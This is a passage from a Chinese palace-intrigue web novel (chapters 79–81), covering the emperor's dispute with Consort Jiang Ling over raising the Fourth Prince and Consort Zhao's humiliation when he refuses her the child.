他猛地一拍椅子扶手,抬手指着江舲,愤怒伤心地控诉道:“朕先前见你终于肯抱四皇子,还以为你转了性子。谁曾想,你不过惺惺作态,真是好狠的心呐!” 第79章 元明帝突然的盛怒, 令江舲始料不及,一时愣在当场。然她迅速反应过来,因着他是皇帝, 是天子。 天底下所有的子民生灵,皆为他的仆从, 必须顺着他,尊着他, 听从他的旨意。 在元明帝心中, 他的儿子自尊贵无比,仅次于他。 即便并非皇家, 按照士大夫们制定流传的规则,家族中的男丁凌驾于一切女性之上。夫为妻纲, 后宅妇人有抚育子女之责。无论是由谁所生, 丈夫发话,她们必须遵从。 否则,便是犯了“七出”中的“妒”, 破坏了家族血脉的传承, 简直是不可饶恕的大罪! 元明帝的指责听似算温和, 天子做久了, 九五之尊男人的高高在上, 早已深入骨髓。 江舲无法接受, 亦是打心底厌恶他的根源。 四皇子快满周岁,他连个乳名都不曾有。江舲不愿多投入情感, 元明帝这个生父也从未提及。 他对儿女的关心, 如后宫阉人的色心一样,既滑稽又可怜。 “朕何处对不住你了,你倒好, 愈发得寸进尺了!” 元明帝越想越委屈,愤怒,在屋中转圈来回奔走,脸涨红得如猪肝,指着江舲的手都气得发抖。 “朕将坤宁宫大半都圈了出来,繁英阁只住着你一人,独一份的尊荣,谁能与你相比?四皇子养在你膝下,三皇子也有份助力。虽不从你肚皮中爬出来,难道以后他敢不孝顺你?多一人尽孝,你还不乐意,真真是蠢妇,愚不可及!” 最终,元明帝一个旋身,在江舲面前停下,厉声道:“朕是皇帝,你若不从,就是抗旨不尊!” 江舲手抓着圈椅扶手,拼命用力克制,手背青筋直冒。她虽未做声,双眸淬着火,冷冰冰回望过去,半点都不曾退缩。 “怎地,你还敢与朕叫板,真是反了你!” 元明帝被江舲的反应气得仰倒,他跳了起来,暴躁如雷地挥舞着手臂,吼道:“好,好,好!朕就如你的愿!既然你不愿抚育,朕将三皇子四皇子一并带走,待你落个孤苦伶仃的下场!” 江舲没想到元明帝如此无耻,她铁青着脸站起身,元明帝已经大步朝外走去,喊道:“黄梁,带三皇子四皇子回垂拱殿!” 黄梁耷拉着头,一脸为难地应下,偷瞄了眼立在那里的江舲,心思微转,赶忙道:“让文涓云慧奶娘她们收拾一下,三皇子四皇子贴身的衣物,吃食都一并带上。” 江舲本来要反抗,看到黄梁时,她那股气就退了下去。 元明帝虽混账透顶,毕竟儿女不多,三皇子四皇子在他手上,还不至于危险。 快活一场,当爹得了血脉延续,还尤为不满。 天底下何来的理所当然,既然如此,就让他体会一下抚育孩子的辛苦! 江舲冷笑,施施然在圈椅中坐了下去,看着元明帝指挥着黄梁他们忙活。 四皇子刚睡下不久,被云慧从摇车中抱起来,马上闭着眼睛娃娃大哭。云霞吴奶娘胡奶娘一起上前哄,四皇子觉着不舒服,哪听得进去,依旧哭个不停。 三皇子淘气贪玩,有阿箬文涓等熟悉的人在,他以为是出去玩,高兴地迈着小短腿往外。 他跑得飞快,身子往一边倾斜着,看得元明帝的心都提到嗓子眼,赶紧道:“快拦着,仔细摔倒了!” 平时文涓阿箬她们只护着三皇子,在平坦之地,由着他随意跑动。虽偶尔也会摔跤,但有她们随伺左右,顶多摔破点油皮。 元明帝下旨,大家不敢不从。紫衫搂着三皇子的贴身衣物与杯碗,文涓与阿箬就上前拦住了他:“三皇子快别跑。” “不,不!”三皇子跑得正兴奋,顿时不依跺脚大叫,扭着胖身子往外挣扎。 “把他抱起来!” 四皇子哭闹不休,三皇子尖叫不停,方才走出繁英阁,元明帝的头已经开始隐约作痛。 文涓蹲下去抱三皇子,他长得结实,她又不敢用力,一下没有抱住。三皇子跟泥鳅一样从怀中溜走,闷头就往前跑。 夹道的青石地面光滑,两边又是砖墙,文涓怕三皇子撞到头,与阿箬赶紧追了上前。 说时迟那时快,两人眼前一花,三皇子咚地一声扑倒在地。她们听到动静,被吓得脸都白了,上前一左一右,小心翼翼地从腋下将三皇子搀扶起身。 三皇子起初没甚反应,片刻后,张嘴大哭起来。元明帝心中一紧,大步走上前,焦急地问道:“怎地这般不小心,摔倒何处了?” 江舲平时教过文涓阿箬她们,三皇子只是身子摔倒在地,两人轻手轻脚摸着他的胳膊与腿,见只膝盖摔破了些皮,才长长松了口气。 元明帝上下端详着三皇子,看到他的膝盖,跟着也放了心。他见三皇子哭着不停叫阿娘,不禁虎着脸,道:“些许破了皮而已,男子汉大丈夫,流血又何惧。你是朕的儿子,要有男子汉气概,不许哭了!” 一边教训着三皇子,一边又俯身下去,准备亲自抱着他。三皇子哭得正伤心,哪肯让元明帝抱,抬起胳膊乱挥,指甲划过元明帝的脸,在他脸上留下一道明显的红痕。 元明帝恼了,强行将三皇子抱在怀里,他哭得更大声了,扭着身子喊阿娘。他一时挣脱不开,手快如闪电,朝元明帝脸上抓去。 这下元明帝脸上就精彩了,鬓角的头发被抓得散开,额角被抓出一条血痕, “你个混账小子,真是反了天,老子今朝定要好生教训你!”元明帝痛得呲牙,生怕再被三皇子抓,赶紧将他放了下地。 三皇子哭喊着,继续往前跑。这次他的方向反了,正是回繁英阁的路。 文涓阿箬看得心疼,担心三皇子哭坏了身子,又怕他摔倒,如以前那样,扎着手护在他左右。 另一头,四皇子哭得几乎背过气去,云慧轻拍着他的背,急着道:“黄大伴,四皇子一哭就难以哄住,再哭下去,嗓子如何遭得住。” 黄梁也看得着急,战战兢兢来到元明帝面前,道:“皇上,先前四皇子在睡梦中被吵醒,奴婢恐他是受了惊。小儿受惊,会夜哭不止。四皇子身子弱,皇上,还是让四皇子安生睡着吧。” 两人连话都说不利索,元明帝要惩处他们也不能。他脸色变换不停,面子荡然无存,却又无法狠下心,使得两个亲生幼子都生了病。 “都怪江氏溺爱,真是慈母多败儿!” 元明帝一肚皮的火,不情不愿骂了句,只能咬牙让两人回繁英阁。 他本来拂袖回垂拱殿,想象又不甘心,转身跟着走向繁英阁。 他倒要瞧瞧,江舲有何本事,能让两人不哭! 江舲难得清净,愉快地回到此间,在榻上躺了下来,准备先好生睡一觉。 谁知刚合上眼,青檀就急匆匆进来回禀:“娘娘,三皇子哭着回来了!” 江舲从榻上惊坐起,茫然问道:“我睡了多久?” “娘娘才躺下。”青檀答道。 江舲骂了句,取了外衫套上,趿拉着鞋子往外走,问道:“究竟如何回事?” “奴婢也不清楚,四皇子一起在哭。”青檀道。 江舲揉了揉眉心,走出屋,看到哭得胖脸通红的三皇子,歪斜着身子从影壁外跑出来,她赶紧下台阶,穿过庭院迎上去,问道:“出了何事,怎地哭得这般伤心?” “阿娘!”三皇子扑进江舲怀里,哭着一叠声喊道。 “好了好了,阿娘在呢,快别哭啦。”江舲搂着三皇子,拿出帕子擦拭着他的脸,柔声哄着他。 三皇子抬着小腿,抽抽噎噎道:“疼,疼。” 江舲顺眼看去,文涓上前道:“娘娘。三皇子摔了一跤,摔伤了膝盖。” 先前三皇子还能跑,江舲估计摔得不严重。她拉起他的裤腿,果真只破了皮,青了一块。 虽是如此,江舲还是心疼,“阿娘吹吹。” 三皇子使劲抬起左腿,江舲温柔地吹了吹。吹完之后,三皇子满意地放下,又抬起右腿让她吹。 待都吹了一遍,三皇子终于不哭了,他打了个哈欠,开始揉眼睛。 江舲见他困了,将他抱起来准备回屋。那边云慧抱着四皇子也走了过来,听到他撕心裂肺的哭声,她走上前,皱眉道:“究竟如何回事?” “娘娘,四皇子没睡好,奴婢哄不住。”云慧连忙道。 “睡着时被抱起来,怕是被吓着了。”江舲拧了拧眉,道:“快回屋去,放在熟悉的地方,别让生人进来吵着了他。” 云慧忙搂着四皇子回屋,江舲只当没看到立在那里的元明帝,抱着睡眼惺忪的三皇子回了次间。 哄着三皇子睡下,四皇子犹然在哭,江舲实在放心不下,前去偏屋查看。 元明帝面色阴沉坐在明间,江舲掀帘出来,他掀起眼皮看去,又不自在地垂下了眼睑。 江舲没工夫搭理他,匆匆来到偏屋,云慧云霞等人围着摇车,哄得口干舌燥,四皇子仍然闭着眼睛,哇哇啼哭不止。 “可有喂过奶?”江舲问道。 “奴婢喂过,四皇子吃了两口,便不肯吃了。”吴奶娘忧心忡忡道。 江舲上前,俯身贴了贴四皇子的额头,只感到略微有些热。她稍微舒了口气,将四皇子抱起来,在屋中走来走去,轻言细语哄着他。 不知是哭累了,还是江舲哄住了他,四皇子哭声终于小下来,抽噎着睡了过去。 江舲大喜,将四皇子放回摇车中,正要起身,发现衣袖被他小手紧紧拽着。 好不容易哄睡着,江舲怕把他吵醒,握着他的小手,轻柔地拍着他,小心将衣衫拉了出来。 一通折腾下来,早已过了午膳时辰。江舲又累又饿,元明帝在明间,午膳用了大半。 “轰”地一声,怒火直冲脑门。江舲使命握住拳,方没上前掀桌。她实在不想看到他那张脸,当即扭身去往前殿。 元明帝余光瞄到江舲怒气冲冲离开的身影,脸色也难看起来。他吃了几口就扔掉筷子,漱口后吃着茶,终是控制不住,起身跟去前殿。 江舲刚用了半碗饭,见元明帝进来,她顿时胃口全无,将蒸鱼的头,用力一筷子戳断。 “朕是皇帝。”元明帝面上挂不住,负手在后,板起脸说了句。 江舲倏地抬眼气势汹汹看去,元明帝一窒,那股气焰顿时矮了下去,干咳了声,“朕宽厚大度,此次就不计较你的大逆不道了。”” “真是多谢皇上的大慈大悲!”江舲阴阳怪气地回了句。 元明帝脸一黑,指着他的额头,道:“朕被抓伤了,若被朝臣瞧见,三皇子就是不孝。你身为三皇子的阿娘,教子无方,又该当何罪?” “子不教,父之过。教子无方,无论如何,都怪不到我身上来。”江舲脑子转得飞快,反唇相讥道。 元明帝被噎住,他梗着脖子,道:“以后要好生教养三皇子四皇子,不得溺爱……” “我不养!”江舲一口回绝。 “胡闹!”元明帝拉下脸,斥责的话,在舌尖转了一圈,含气硬生生咽了回去。 她对三皇子四皇子无微不至的照料,元明帝心若明镜。无论可是她亲生,即便是偏向三皇子,也从未亏待过四皇子。婴儿虽不懂事,那份依赖却做不得假。 由赵嫔养育四皇子,于情于理皆说得过去。元明帝不假思索否决,亦是对她的信任。后宫所有的嫔妃,都不如养在她跟前让人放心。 元明帝语气缓和下来,道:“四皇子放在你膝下,你且费些心思,朕不会亏待你。” 江舲听得冷笑,心里骂道:“狗东西,谁稀罕你的不亏待。你要怎样不亏待,封我做太后吗?” 元明帝将江舲反应瞧在眼里,一看就知她肯定又在骂人。 此刻,元明帝想到什么,霎时愣在那里。 他有好一段时日,不曾听到她的心声了! 第80章 元明帝控制不住疑神疑鬼, 一瞬不瞬盯着江舲。她被看得鸡皮疙瘩掉了一地,恼怒地道:“皇上是天子,有气一向无需忍着, 有事直说便是。” “你心中在想甚,可是在骂朕?”元明帝忍不住质问道。 江舲一时不敢相信自己的耳朵, 元明帝的话,简直霸道到荒唐。论迹不论心, 神仙也管不着人心中所思所想, 他一个虚假的“天之子”,竟妄图控制人的内心了! “你在笑甚?可是在嘲笑朕?” 元明帝接连追问, 神情焦躁而不安。他绕着江舲来回徘徊,目光死死锁住她, 生怕错过她任何的表情。 “欲加之罪何患无辞, 皇上要降罪,何须找借口。” 鱼被江舲戳得烂糟糟,跟元明帝一样让人倒胃口。江舲扔下筷子, 漱口后起身回后殿。 “你去何处?”元明帝跟在江舲身后, 不依不饶问道。 江舲实在烦不胜烦, 停下脚步打量着元明帝, 狐疑地道:“皇上可要宣太医诊个平安脉?” “大胆!”元明帝瞪着江舲, 怒道:“你竟敢诅咒朕生病!” 江舲不但诅咒元明帝生病, 恨不得他即刻驾崩。有权却不讲理,凉薄, 自以为是, 唯我独尊。遇到任何一种,都会让人崩溃。 “皇上,诅咒无用, 子不语怪力乱神。求神拜佛亦一样,龙生龙凤生凤,荣华富贵靠投胎。” 江舲觉得自己也濒临发疯的边缘,开始打胡乱说起来。元明帝被她一通搅和,仔细端详着她:“朕以为,你才该让太医来给你诊个平安脉。” “我太累了。”江舲揉着眉心,努力平稳着情绪,尽量冷静地道:“皇上,我实在没经历养四皇子……” “朕不许!”元明帝立刻厉声打断江舲,恼怒地道:“此事不可再提!” 江舲咬了咬牙,气道:“赵嫔只怕已经在准备四皇子的周岁礼,皇上不答应,赵嫔不敢怪罪皇上,会以为是我出尔反尔,到时都成了我的错。” “朕的旨意,区区一个嫔罢了,莫非敢质疑不成!”元明帝冷哼一声,不可一世道。 江舲抬眼眺望远处万里无云的天,默念着清心咒。 春日晴好,黄历上应当添一笔:不宜动怒,与混账浪费唇舌。 “你怎地不说话了?”元明帝盯着江舲,不放心地追问。 “我无话可说。”江舲彻底没了脾气,闷声不响回后殿。 元明帝紧随江舲身后,望着她清瘦的身影,心中琢磨起来。 自打江舲生下三皇子之后,成日就忙个不停。一旦变得忙碌,哪有功夫胡思乱想。不曾听到她的心声,应当是她真未想过。 元明帝想通之后,压在心头的烦闷消失,脚步都变得轻快了起来。 三皇子在他的小床中沉沉睡着,文涓阿箬守在一边做针线。见到他们进屋,赶紧放下笸箩起身见礼,轻手轻脚退了出屋。 江舲脱下外衫准备午歇,刚在榻上坐下,三皇子醒了过来,奶声奶气叫阿娘。 “阿娘在。”江舲见睡不成,只能将三皇子从小床中抱了起来,送吃食清水进屋。 江舲已经逐步减少喂母乳,三皇子在夜里睡觉时,会吵着吃奶,白日皆吃饭菜加煮沸后放温的牛乳。 文涓摆好矮案饭食,三皇子洗干净手脸,穿戴好围兜,乖巧地坐在小杌子上。端起牛乳,埋头一股脑喝了小半碗。他放下碗,拿银匙舀了蒸蛋往嘴里塞,银匙一歪,大半都糊到脸上。 元明帝看得忍俊不禁:“瞧他,真是笨拙。还是让人喂他用膳,省得弄得一头一脸。” 让三皇子自己用饭,是促进他精细动作与手眼脑的协调能力,自我调节饥饿感,形成良好的饮食规律。起初他开始用手抓,在江舲不厌其烦的纠正下,已经改正了过来,只用银匙舀着吃。 江舲最恨元明帝的一点,便是他习惯性的打压训斥。好似他夸赞一句,三皇子就会马上变成纨绔。 然而这套严厉的教育方式,史书上已经有足够多的例子证明,纨绔始终会是纨绔。因为缺乏律法的约束,不受约束的权力,让他们变成了可憎的混账。 江舲不想养育四皇子,也有这方面的原因。元明帝不时显示他的存在,乱指手画脚一通。 听得多了,江舲只想毒哑他。 那边四皇子的哭声清楚传了进屋,江舲道:“皇上去瞧瞧四皇子吧,四皇子醒了要用饭,皇上亲自安排,也好放心些。” 元明帝听着江舲话中的嘲讽之意,他脸色一黑,到底不曾翻脸,起身前去偏屋。 云慧云霞与奶娘一起忙碌,哄着四皇子,把尿喂奶。 元明帝看到吴奶娘抱着四皇子进里间,举目四望,问道:“四皇子的饭菜吃食呢?” 云慧答道:“回皇上,四皇子身子弱,娘娘吩咐还是吃奶为主。” 元明帝唔了声,想到三皇子吃的牛乳,问道:“牛乳可曾服用过?” “四皇子还不曾服用过牛乳。”云慧如实答道。 元明帝心中甚是不快,江舲给三皇子吃的东西,肯定是最好。他坐拥天下,岂能缺一碗牛乳,当即道:“去膳房给四皇子要碗牛乳来,以后四皇子也要服用牛乳!” 云慧愣住,嗫嚅了下,鼓起勇气道:“皇上,娘娘说了,四皇子不宜服用牛乳,待长大些,身子壮实一些再给他服用。” 元明帝心道原来此般,江舲断无只顾着三皇子之意,胸中的闷气,霎时烟消云散。略微停留,便回了垂拱殿。困意袭来,元明帝午歇了半个时辰,起身前去御书房批阅折子。 拿起笔,元明帝想起四皇子之事,吩咐黄梁道:“去传赵嫔来。” 黄梁来到香雪阁传旨,赵嫔从撷芳阁回来,便兴奋地与黄嬷嬷商议四皇子周岁之事。生怕置办得不妥当,落了人口实,让人指责了去。 生了萧珈棠之后,元明帝便极少传她面圣,更不曾侍寝过。起初赵嫔伤心不已,后来就逐渐淡了。 毕竟她虽盼着再生个皇子,生儿生女是上天的安排,半点不由人。 红颜未老恩先断,赵德妃一样如此。元明帝看似对她宠爱依旧,她的肚皮再也没了动静。 至于赵德妃的皇子,赵嫔且冷眼看着。萧允瑞为长,林贵妃身份比她尊贵,无论如何,都轮不到赵德妃的儿子做储君。 若得四皇子在手,她也有本事,去争议争太后之位了! 听到黄梁前来,赵嫔不由得愈发高兴,心道定是与四皇子有关! 赵嫔让黄嬷嬷拿了最厚实的荷包塞给黄梁,她笑着打探道:“黄大伴,不知皇上找我何事?” 黄梁客气地道:“皇上并未提过,奴婢不知。” 赵嫔见问不出个丁卯,黄梁嘴一向严实,便不欲节外生枝,一路安静来到御书房。 元明帝正在批阅折子,赵嫔上前请安,他头也不抬,嘴里唔了声,“起吧。” 赵嫔肃立等候,半晌后,元明帝合上折子,交代黄梁道:“送去政事堂。” 黄梁捧着装折子的匣子离开,元明帝擦拭过指尖沾着的朱砂,端起茶吃了半盏,这才说道:“阿棠今年已九岁,再过几年就要选驸马。朕的公主虽无人敢欺负,到底要学些管家理事,针黹,账目,方不会被刁奴欺瞒了去。” 赵嫔面上恭敬聆听,心里没来由变得不安起来。元明帝的话听似在关心萧珈棠,公主出嫁得晚,留到十八二十也司空见惯。离她出嫁还有十余年,元明帝突然在当下的节骨眼上提起,让人无法不往别处想。 “你只专心看顾着阿棠,别的事,你就别多插手了。” 赵嫔心凉了半截,她咬了咬唇,忐忑地问道:“皇上,阿棠臣妾会妥善照看,定不会让她丢了皇家的脸面。有一事臣妾不明白,皇上所言别的事,究竟是何事?” 元明帝眉头皱了皱,斜了眼赵嫔,心道以前觉得她聪慧,未料终究是妇道人家,见识始终浅薄。 念在萧珈棠的份上,元明帝向来给她几分薄面。与四皇子相干,他便再不客气,道:“朕指了四皇子由慧淑妃抚育,你别再操心了。” 赵嫔提着的一颗心,倏地沉沉坠落。浑身情不自禁地变得冰凉,颤抖的手藏在衣袖下,早已紧握成拳,指甲深深嵌入掌心,犹然不觉疼。 “为何,皇上为何不许臣妾操心四皇子之事?”赵嫔强忍着巨大的失望与难受,话一出口,唇齿发紧,声音跟着颤抖。 “慧淑妃身份尊贵,将三皇子养得活泼伶俐。你身为嫔,膝下仅有公主,养育四皇子到底不足了些。” 元明帝解释了句,旋即变得不虞起来,“朕决定之事,你莫非敢要质疑?” “臣妾不敢,臣妾告退。” 赵嫔屈膝见礼,微微仰起头,眨回欲将夺眶而出的眼泪,背挺得笔直退出御书房。 元明帝嫌弃她身份低微,只生过公主,不配抚育皇子。她已尝够屈辱难堪,不愿再流泪徒惹人笑话! 出了垂拱殿,赵嫔的脚步终于慢了下来。春风柔柔软软,地上铺着不知从何处飘来的粉色花瓣。她垂下眼眸,用了一脚踩上去。花瓣瞬间变成烂泥。 黄嬷嬷觑着赵嫔惨白的脸色,她心底着急,又不敢多问。这时见赵嫔猛一转身,朝东面的方向走去,不由得问道:“娘娘打算去何处?时辰不早,二公主还等着娘娘查看今日的大字呢。” 赵嫔一步步往前走着,声音冷若冰霜:“公主只是公主,哪怕同是皇家血脉,始终低人一等。我这个阿娘出身低,品级低,拖生在我肚皮中,反倒连累了她。” 黄嬷嬷愣了愣,上前一步,关切地道:“皇上召娘娘前去,可是出了事?” “皇上称我不配抚育四皇子。”赵嫔一字一顿,缓缓地说着。 每一个字,都让她痛彻心扉,愤怒到发抖。 赵德妃对她说过的话更难听,做过的事更为不堪,远不及元明帝轻描淡写的几句解释。 她们姐妹一直明争暗斗,自是字字如刀,恨不得致对方于死命。 元明帝却不该如此待她,她陪伴他多年,替他生育了公主。 一日夫妻百日恩,就算情分已尽,也不该如此看低她,踩她入尘埃! 傍晚,三皇子四皇子精力十足,在庭院中铺着的地毡上,跟陀螺一样绕着圈爬。两人你追我赶,边喘着气,边咯咯傻笑。 江舲被折腾了一下午,无精打采靠在廊柱上吃梨条。她看到从抱厦走出来的元明帝,将梨条扔回石栏上的碟子中,暗骂了句晦气。 “精神头真是好!”元明帝负手站在毡垫边,慈爱地看着两人,笑着说了句,朝江舲走了过来。 “你的脸色不大好,可是身子不舒服?”元明帝踏上台阶,仰头打量着江舲,关心地问道。 江舲屈了屈膝,道了声无妨,“他们两人一下午都没睡,吵到现在,我头疼得很。” 元明帝免得江舲叫屈,又要提出将四皇子送出去,赶紧大步上了台阶,道:“朕召了赵嫔到御前,已清楚对她言明,四皇子养在繁英阁,你莫要再提。” “果然不负秒男称号,动作还真是快!”江舲暗讽了句,直觉不妙,问道:“皇上如何对赵嫔说的?” 元明帝瞥了她一眼,从碟子里拈了根梨条嚼着,闲闲地道;“朕的旨意,抗旨不尊者,独独你,朕不予计较。余者,放眼天下,谁敢与朕说半个不字?” 江舲无视他乱冒出头的帝王王八之气,追问道:“皇上召见赵嫔,究竟言明了什么话?” “你瞧你,竟然质问起朕来了!” 元明帝嗔怪地瞪了眼江舲,将召见赵嫔的经过告诉了她。末了,元明帝挑眉,特意地道:“旁人岂能与你相比,朕待你自是不同。” 江舲无力靠在廊柱上,默默望着天际稀疏的星辰,实在是无语凝噎。 后宫能争能斗,大抵是因着皇帝昏聩。 元明帝才是罪魁祸首,是兴风作浪煽风点火的混账狗皇帝!《 》 80-90 第81章 林贵妃从撷芳阁理完事回到重华宫, 钟嬷嬷领着宫女送进来热水帕子,绣云帮着挽起衣袖,试过水温, “娘娘可以更洗了。” “且加些凉水。”林贵妃手伸进铜盆中,皱眉道。 天气日渐暖和, 虽在庭院的苇棚中,林贵妃始终觉得香火盆中的火气炙烤着, 热乎乎黏答答。 绣云意外一愣, 她伺候林贵妃多年,对她的习惯早了然于胸。她不敢多问, 往盆中添了凉水。 林贵妃这才未做声,俯低头, 掬了水泼在脸上。清凉浸浸, 她深深吐了口浊气,擦拭干水珠往外走去。 来到次间,林贵妃在榻上坐下, 钟嬷嬷奉了茶上前, 她来不及吃, 问道:“阿瑞的功课在何处?” 绣云赶紧从靠墙条几上捧了萧允瑞的功课奉上, 林贵妃接过仔细翻看起来。看了一张, 她的眉头蹙起, 从头翻到尾,眉间已经阴云密布。 “混账东西!”林贵妃将功课拍在案几上, 震得茶盏抖了抖。 钟嬷嬷忙赔笑劝道:“娘娘, 大皇子向来懂事孝顺,无人不夸。虽如此,到底是少年郎, 正是淘气爱玩的年纪……” 林贵妃抬眼看来,眼神冰冷。钟嬷嬷吓得一抖,慌忙住了嘴。 “他非是寻常百姓家的淘气小子,早过了玩闹的年岁!” 林贵妃微微合上眼,每每查看萧允瑞的功课时,脑中好似有跟线绷着,不断弹动,让她怒不可遏。 “连大公主都比不上,这学堂是白上了,真真是十成十的蠢货!” 林贵妃对萧允瑞虽宠爱,在功课上却半点都不肯含糊。先生虽常夸赞萧允瑞,始终入不了林贵妃的眼。 绣云钟嬷嬷大气不敢出,林贵妃厉声道:“待他下学时,立马来见我,身边伺候的人一并叫来!” “是,奴婢这就去。”绣云赶紧往外走去,到了门外,小宫女急匆匆走来,道:“绣云姑姑,赵嫔求见娘娘。” “赵嫔?”绣云看了眼天色,离萧允瑞下学尚有一阵,她便回屋去禀报。 林贵妃神色已恢复了寻常,道:“让她进来吧。” 绣云忙应声出去,林贵妃起身来到明间,赵嫔进了屋,上前见礼。 “坐。”林贵妃打量着赵嫔的脸色,问道:“这是出了何事?” 赵嫔眼眶一红,咬唇强装欢笑。钟嬷嬷捧着茶上来,林贵妃示意她们退下。明间余下两人,林贵妃这才问道:“究竟发生了何事?” “娘娘、”赵嫔未语泪先流,拿帕子蘸着眼角的泪,将元明帝宣召前去之事如实道来。 林贵妃神色微变,她亦未曾料到,元明帝竟然凉薄至此。当年她与赵嫔,先皇后,沈婕妤,柳贤妃等妻妾,皆是元明帝登基前潜邸的老人。 物是人非事事休,尙活着的仅她们三人。赵嫔入府晚,元明帝颇为宠爱她,她有了身孕之后,元明帝大喜往外,天天往香雪阁赐宝贝。 后来,赵德妃进宫探望赵嫔,元明帝与她金风玉露一相逢,自此丢不开手。本送到香雪阁的赏赐,源源不断送到了赵德妃的寝宫。 赵德妃很快就有了身孕,赵嫔与她先后诞下了萧珈棠与萧允珏。 即便情分不在,至少是二公主的生母,陪伴多年的枕边人,总该给几分脸面。 赵嫔前来重华宫,将不堪和盘托出,来意并不单纯。 兔死狐悲,林贵妃心里一阵发寒,她叹了口气,并不多劝,只道:“你还有二公主。” “是啊,我还有阿棠。” 赵嫔含泪呢喃了声,迅速拭去泪,神色变得坚定起来:“我这辈子看到了头,在这深宫之中,从豆蔻年华到腐败。所幸阿棠不会再走我的老路,我这个生母,不能给阿棠添光彩,是我此生最大的痛楚。” 她站起身,双膝跪倒在地,俯身长叩首下去:“我将阿棠托付给娘娘,愿娘娘护阿棠一世安稳。” 林贵妃神色震惊,她忙搀扶起赵嫔,“赵妹妹快快请起!” 赵嫔顺势起身,林贵妃再次叹气,道:“先前我还在为阿瑞的功课生气,你我都是做母亲的人,儿女皆是债,阿棠也是我看着长大,她终究是公主,有你我在背后撑腰,谁也欺负不了她去。” “自己身上掉下来的肉,哪舍得受丁点的委屈。”赵嫔幽幽说了句,她望着天色,没再多留,起身道:“娘娘还忙着,我就不多留了。” 林贵妃起身送出屋,赵嫔在廊檐下站定,屈膝道:“娘娘留步。” “赵妹妹慢走,若得空的话,就来重华宫坐一坐。”林贵妃颔首道。 赵嫔应了声,与黄嬷嬷一道离开。林贵妃站在那里,望着赵嫔的身影闪过影壁,最终消失在夕阳中。 钟默默指挥着宫女们掌灯,重华宫的灯盏次第亮起,林贵妃始终站在那里,面无表情的脸,在光影笼罩下格外冰冷。 “娘娘,赵嫔先前还兴高采烈地准备四皇子周岁生辰,怎地来向娘娘哭诉了?”钟嬷嬷取了披帛出来,轻轻搭在林贵妃肩上,迟疑着问道。 “皇上不允她养四皇子。”林贵妃拉着披帛,转身朝屋内走去。 “可是福宁宫那边动了手脚?”钟嬷嬷惊讶地问道。 “福宁宫没动静。”林贵妃摇摇头,笃定地道:“繁英阁那边真正有智慧,也不是她,是皇上不答应。” “皇上?”钟嬷嬷听得一头雾水,想不通元明帝为何会阻拦。 “皇上的旨意,谁敢抗旨不尊?”林贵妃冷笑了下,在榻上坐下,低头沉思半晌,神色变得松弛。 结局无论如何,对她都是只好不坏。赵嫔那一跪,是托付萧珈棠,又算得上真正投靠了她。 公主身份尊贵,无靠山的公主,徒留下身份罢了。元明帝驾崩之后,要是二皇子登基,萧珈棠与他既是兄妹,又多了层表亲,亲上加亲。可惜两人自小面和心不和,加上赵德妃与赵嫔的关系,萧珈棠的日子就没那么好过了、 余下则是大皇子三皇子四皇子,三皇子四皇子都在江舲膝下,因四皇子之事,估摸着赵嫔连江舲一并恨了进去。 太阳余辉将夹道染得通红,朱墙犹如干涸的血,刺得人眼睛都睁不开。 赵嫔不紧不慢走着,出门得急,脚上尙穿着在屋中穿着的绣花鞋。青石的凉意透过轻薄的鞋底传上来,裙摆绸缎摩挲,与风声呼吸声混杂着,在夹道中回荡。 黄嬷嬷不紧不慢跟着,不时看一眼前面的赵嫔,眼中掩饰不住地担忧。 “娘娘。”黄嬷嬷忍不住上前两步,道:“毕竟德妃娘娘才与娘娘是亲姐妹,娘娘这个时候前去找林贵妃,德妃娘娘若得知,怕是又会生气了。” 赵嫔掩面笑起来,她的眼睛尤泛着红,身上洒满通红的夕阳,黄嬷嬷直看得后背发寒。 “娘娘,奴婢窃以为,一荣俱荣一损俱损,还是自家亲姐妹靠得住些。” 赵嫔笑容不变,一言未发。 谁都靠不住。 姐妹的情分,早在赵德妃进宫,在漫长的寂寥岁月中,消磨殆尽。 赵德妃的儿子登基,她得不了好。假若他人登基,她顶着赵氏姐妹的名头,兴许不会被连累,但她要是与赵德妃站在一处,肯定会被牵连进去。 与其佯装赵德妃姐妹亲密,还不如直接投靠林贵妃。 林贵妃不好相与,赵嫔自是清楚。她更与赵德妃不死不休,她们便成了同一阵营的人。 最终要是江舲得胜,在后宫中,她称不上善良,至少不会赶尽杀绝。 横竖不亏。 那把龙椅,上面沾染了数不清的血。 林贵妃与赵德妃两人,终有一人会落败,在龙椅上再添上一笔血印。 “最好血流成河,萧氏断子绝孙!” 赵嫔愉快地想着,脸上的笑容越来越浓。 江舲想了一夜,翌日丢下三皇子四皇子,前往香雪阁见赵嫔。 元明帝是混账狗皇帝,不讲道理,无法沟通。 无论赵嫔如何想,江舲皆要阐明,四皇子之事非她而起。 江舲初次前来香雪阁,久闻香雪阁因梨花开时,落花缤纷,仿似下雪般而得名。 恰是梨花开到尾声时,地上缀满一层雪白的落花,枝丫上留着未谢白色花瓣,,间或着嫩黄的树叶,美不胜收。 赵嫔得知江舲到来,她迎出屋,见江舲在仰头看梨树,道:“慧淑妃要是不嫌弃,不若就在梨树下坐着吃茶可好?” “打扰了。”江舲颔首道,在梨树下的石凳上坐下来,抬手接着在空中飘飞的花瓣,由衷赞道:“这株梨树长得真是好。” “娘娘说得是,我也甚是欢喜。”赵嫔抬起头,随着江舲一起朝梨树看去。黄嬷嬷送了茶水上来,她很快便收回了视线,亲自提壶斟茶:“慧淑妃请。这是去岁的团茶,不知娘娘可吃得习惯。” 今年的春茶早已上贡,江舲不知赵嫔是未曾分到,或是别的缘由,她并不多问,颔首道谢后,端起茶抿了口。 有三皇子四皇子在,江舲不便久留,开门见山道:“我前来为四皇子之事,给赵嫔赔个不是。”说话间,她欠身下去。 赵嫔赶紧侧开身躲避,急着道:“娘娘这是真是折煞我了。” “是我做事不牢靠,未事先回禀皇上,先斩后奏,皇上却未准许。” 江舲尽量地解释,只字不提元明帝宣召赵嫔御前面圣,以及元明帝回绝时,所言的冷漠之语。她态度诚恳,赵嫔接受与否,江舲也管不着。 “娘娘言重了,娘娘一直养着四皇子,是应当让四皇子继续留在娘娘跟前。我也有欠考虑,皇上都不见下旨,我便火急火燎给四皇子张罗起生辰来。” 赵嫔面带微笑,客气又妥帖,话说得滴水不漏,“本该我来找娘娘道明,娘娘竟亲自前来香雪阁,是我失礼了。” 她欠身下去赔不是,又道:“我替四皇子备了周岁的一些物件,娘娘要是不嫌弃,我给娘娘送去,当作是我给四皇子添礼了,盼着他平平安安长大。” 